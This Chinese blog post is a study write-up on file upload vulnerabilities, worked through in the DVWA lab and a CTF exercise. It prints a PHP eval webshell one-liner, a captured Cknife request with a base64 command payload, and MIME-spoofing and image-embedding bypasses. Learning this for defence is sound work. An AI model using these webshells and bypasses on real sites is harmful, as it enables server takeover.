前言
最近在对之前学的东西进行总结和复习,发现自己竟然没有系统的学习文件上传漏洞,罪过罪过。然后这两天看了视频讲解,对文件上传漏洞有了系统的了解,下面听我慢慢说来。
漏洞原理
文件上传漏洞的成因,是程序员在对用户进行文件上传的部分控制不足或者处理不当,导致用户能越权向服务器上传可执行脚本文件,也就是大家常说的一句话木马(webshell)。这种对服务器的攻击方式,是最为直接和有效的。
Webshell
一种以asp,php,jsp等网页形式存在的命令执行环境,也叫网页后门。当攻击者入侵网站的时候,会将这些个asp或者php后门文件与web目录下的正常文件混在一起,通过使用菜刀蚁剑等等软件,获取服务器的权限,达到控制网站服务器的目的。例如php最常见的小马,<?php eval($_POST[a]);?>。
中国菜刀/Cknife
简单粗暴的webshell管理软件,当你向网站写入一句话木马的时候,就能在本地获取和控制整个网站目录。作为了解,笔者用Burpsuite抓了一下cknife给目标网站发送的报文。
1 | a=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D |
经过解码后,变量action的代码如下:
1 | @ini_set("display_errors","0"); |
很好理解,首先我上传的一句话木马是POST类型的变量a,那么,我给a赋值为让服务器执行(eval)的一串代码,为了绕过检测,使用base64加密的方式,用php代码遍历出服务器根目录下的所有文件。
常见的几种利用方式
这里以DVWA的环境做演示:
难度:LOW
代码如下:
1 |
|
很简单,代码就做了两件事,一是定义了文件上传的路径,然后再把文件放到hackable/uploads/目录下,并判断上传是否成功。然后我们创建文件1.php,写入一句话木马<?php eval($_POST[a])?>
,上传一句话木马到服务器,显示上传成功。
上传完毕之后,就到了紧张刺激的getshell环节,这里直接使用c刀,添加shell文件的地址,以及定义好的变量名a,即可连接到服务器,开始为所欲为。
难度:MEDIUM
代码如下:
1 |
|
注释都写得很清楚了,这次的校验使用的php(后端)校验,它会在你上传文件的时候记录文件名、文件类型和大小,服务器端进而判断你的文件是否符合要求。这里涉及到一个知识点MIME,和HTTP请求头中的Content—Type。
MIME/Content—Type
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
Content-Type是指http/https发送信息至服务器时的内容编码类型,contentType用于表明发送数据流的类型,服务器根据编码类型使用特定的解析方式,获取数据。
常见的类型如下:
1 | text/plain(纯文本) |
当你上传文件的时候,MIME类型是浏览器进行判断的,它没有那么智能,只通过文件后缀来判断文件类型,随后写入Content—Type中,标识内容编码类型。那么我们就可以通过Burpsuite抓包的方式去修改服务器接收的文件类型,将1.php的MIME修改为image/png
,再发送报文,成功上传。还有一种方式比较特别,就是利用文件上传+文件包含这样的组合来上传。先将一句话木马改成.png格式,然后通过文件包含漏洞,page重定向到文件上传后的目录下,实现getshell。
难度:HIGH
高难度其实也并不难。。就不多做描述了,代码中增加了一段验证文件内容的代码,所以我们可以将一句话木马藏到图片,这里给出两个方法,一个是通过winhex增加选块后添加,另一种是用cmd在本地合成:copy 1.png/b+a.php a.png
,/b的含义是将png转化为二进制文件。剩下的步骤,还是文件上传+文件包含,并无太大区别。
补充:攻防世界upload1
刷题的时候碰到了,就顺便记录一下,是比较常见的前端校验(当我在写好一句话木马上传的时候,Burpsuite还未抓到包,浏览器就弹出警告)。谷歌浏览器直接F12,果然能看到JS的判断语句,这里在png后面再加上’php’,即可成功绕过。